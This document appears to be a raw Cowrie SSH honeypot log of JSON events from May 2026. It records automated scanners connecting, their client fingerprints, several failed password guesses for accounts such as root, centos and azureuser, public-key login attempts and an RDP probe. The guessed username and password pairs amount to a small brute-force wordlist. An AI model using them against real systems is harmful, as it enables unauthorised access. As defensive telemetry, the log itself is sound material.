{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:02:41.121207Z","src_ip":"103.77.175.15","session":"61070d169ba3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:02:41.372298Z","src_ip":"103.77.175.15","session":"61070d169ba3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9999999","message":"login attempt [root/9999999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:02:42.127717Z","src_ip":"103.77.175.15","session":"61070d169ba3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:02:43.382573Z","src_ip":"103.77.175.15","session":"61070d169ba3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":51494,"dst_ip":"159.203.135.109","dst_port":22,"session":"73ae6d5f8d16","protocol":"ssh","message":"New connection: 165.154.227.158:51494 (159.203.135.109:22) [session: 73ae6d5f8d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:02:57.161406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:02:57.166615Z","src_ip":"165.154.227.158","session":"73ae6d5f8d16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:02:57.386844Z","src_ip":"165.154.227.158","session":"73ae6d5f8d16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty2026","message":"login attempt [root/Qwerty2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:02:58.296077Z","src_ip":"165.154.227.158","session":"73ae6d5f8d16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:02:59.517832Z","src_ip":"165.154.227.158","session":"73ae6d5f8d16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.115.61","src_port":60736,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe7983fdff59","protocol":"ssh","message":"New connection: 170.106.115.61:60736 (10.17.0.5:22) [session: fe7983fdff59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:02.693197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:02.698876Z","src_ip":"170.106.115.61","session":"fe7983fdff59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:02.770301Z","src_ip":"170.106.115.61","session":"fe7983fdff59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operador","password":"operador","message":"login attempt [operador/operador] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:03.079412Z","src_ip":"170.106.115.61","session":"fe7983fdff59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.17.27","src_port":42594,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2e8404583bb","protocol":"ssh","message":"New connection: 43.156.17.27:42594 (159.203.135.109:22) [session: b2e8404583bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:03.569113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:03.574470Z","src_ip":"43.156.17.27","session":"b2e8404583bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:03.814075Z","src_ip":"43.156.17.27","session":"b2e8404583bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:04.156795Z","src_ip":"170.106.115.61","session":"fe7983fdff59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"qwer1234","message":"login attempt [centos/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:04.800100Z","src_ip":"43.156.17.27","session":"b2e8404583bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:06.042669Z","src_ip":"43.156.17.27","session":"b2e8404583bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":65254,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f73f689ebf6","protocol":"ssh","message":"New connection: 152.42.212.128:65254 (10.17.0.5:22) [session: 1f73f689ebf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:18.936484Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:18.941087Z","src_ip":"152.42.212.128","session":"1f73f689ebf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:18.944557Z","src_ip":"152.42.212.128","session":"1f73f689ebf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":32906,"dst_ip":"10.17.0.5","dst_port":22,"session":"9231e3b804a1","protocol":"ssh","message":"New connection: 109.172.54.111:32906 (10.17.0.5:22) [session: 9231e3b804a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:33.453599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:33.458487Z","src_ip":"109.172.54.111","session":"9231e3b804a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:33.562214Z","src_ip":"109.172.54.111","session":"9231e3b804a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fhntvrf","message":"login attempt [root/fhntvrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:33.864505Z","src_ip":"109.172.54.111","session":"9231e3b804a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:34.967383Z","src_ip":"109.172.54.111","session":"9231e3b804a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":46190,"dst_ip":"159.203.135.109","dst_port":22,"session":"215303ab873e","protocol":"ssh","message":"New connection: 193.32.162.151:46190 (159.203.135.109:22) [session: 215303ab873e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:45.733153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:45.765632Z","src_ip":"193.32.162.151","session":"215303ab873e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:45.863899Z","src_ip":"193.32.162.151","session":"215303ab873e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:46.238934Z","src_ip":"193.32.162.151","session":"215303ab873e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:47.372614Z","src_ip":"193.32.162.151","session":"215303ab873e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.181.223.233","src_port":42498,"dst_ip":"10.17.0.5","dst_port":22,"session":"b477b8d6e157","protocol":"ssh","message":"New connection: 47.181.223.233:42498 (10.17.0.5:22) [session: b477b8d6e157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:54.740367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:54.746012Z","src_ip":"47.181.223.233","session":"b477b8d6e157","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:54.824732Z","src_ip":"47.181.223.233","session":"b477b8d6e157","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:6c:66:83:51:26:35:40:a4:8f:b2:08:69:d6:1c:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8OA+yZJY5wKOiy0lq6VLVOUcVqQ5sI0SdeVQNrwcsz+1LU0UTMCJRhHHxrDB04OKsw5PwWXh9MkdjY0n//yNYnG0S9bHVDghmCWut+6ScKEO8oBo3fBCXk/SQsX/2qXYbJmAu0q4y4Y+wzzqHnSUAjujYqnTmM6O1y4QS8ptyFzZVAZCqnndImkWyBSAD9Tndv8kk8w3QWcY6eCcE6tj+MEtExP9TNqKJAK8QHBcrw1Seb6JmjcY5zJNU3QpJ1h15tk1jmUGtg3qbbBJhPVUlVNuyxqNlr9pQ452SOcKFT87f5+AJ/8sWJTdHmj5h88DyrYm2kp9cLE11E2b06EthecQvBK43PvMtD1nYh5vN6/hFHwR+NL5NlMZcVgRR5mOTCqYa5VQM7uwXdrC1PO33EXEyRUbQoOcnPCOUzgmx7jsf/zLmNJ0KqqzSsgsF0L55OaY8Cny198H+ld/kpykKJYAX+vMFQYlwLkJ/lnYChMh5j8/UJPRlP1nZlPwdCS0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:6c:66:83:51:26:35:40:a4:8f:b2:08:69:d6:1c:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:55.188739Z","src_ip":"47.181.223.233","session":"b477b8d6e157","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:6c:66:83:51:26:35:40:a4:8f:b2:08:69:d6:1c:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8OA+yZJY5wKOiy0lq6VLVOUcVqQ5sI0SdeVQNrwcsz+1LU0UTMCJRhHHxrDB04OKsw5PwWXh9MkdjY0n//yNYnG0S9bHVDghmCWut+6ScKEO8oBo3fBCXk/SQsX/2qXYbJmAu0q4y4Y+wzzqHnSUAjujYqnTmM6O1y4QS8ptyFzZVAZCqnndImkWyBSAD9Tndv8kk8w3QWcY6eCcE6tj+MEtExP9TNqKJAK8QHBcrw1Seb6JmjcY5zJNU3QpJ1h15tk1jmUGtg3qbbBJhPVUlVNuyxqNlr9pQ452SOcKFT87f5+AJ/8sWJTdHmj5h88DyrYm2kp9cLE11E2b06EthecQvBK43PvMtD1nYh5vN6/hFHwR+NL5NlMZcVgRR5mOTCqYa5VQM7uwXdrC1PO33EXEyRUbQoOcnPCOUzgmx7jsf/zLmNJ0KqqzSsgsF0L55OaY8Cny198H+ld/kpykKJYAX+vMFQYlwLkJ/lnYChMh5j8/UJPRlP1nZlPwdCS0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:55.192412Z","src_ip":"47.181.223.233","session":"b477b8d6e157","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:81:84:13:b8:42:4a:ad:d6:a2:02:87:2d:81:2b:34","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANg+dZLv/YygL3ppR81NsRa0mJmf0Rcr/XhZyhZqSlXD72yDBpIj9SVPNh+ievsQVrVAtA1sS/DjvYnreu+uHZS9wockEyI9YNlzAGtQBxNZA5EGDAuU0lXXlt3IndEaCHMErk314KbAoMCGmPXLT4G69Ayl6wgX0qYrs0oHS4DHAAAAFQDWdCCyIP9jfzSEVK/9gHckOhdX2wAAAIBxIAJGzSfeDRWgWozfQwdwpqLRY4/9sn+MDRx9mIBqmiSNw3FUIopjfBnKpifNAfOcELwgkD0HLJWtPXCrxH3DPSWEbtIHhJTq75sa+7fc65OfEamUA6Dl8c9taTfyB2TFJHGBnFmH3jze9w1C5qKCa+pJN45589LpGLwmL0UrPgAAAIEAq9dMKVIlbH6hjGbF0TX9v11Z3IYf6pRBOcJml11BOSwmib6M0P2Nt+kD8pD/ZCr/ZnK5616YNVKTOmKnyNL8++uDVh0hAWoxBTrwdfjk2q0SuafPSS2jA6QvyZtm6tjpP6E/OG5xOSeVT7acJlD1yFwhDT8oAGyWUkA9peUSJXc=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint f5:81:84:13:b8:42:4a:ad:d6:a2:02:87:2d:81:2b:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:03:55.269690Z","src_ip":"47.181.223.233","session":"b477b8d6e157","protocol":"ssh"}
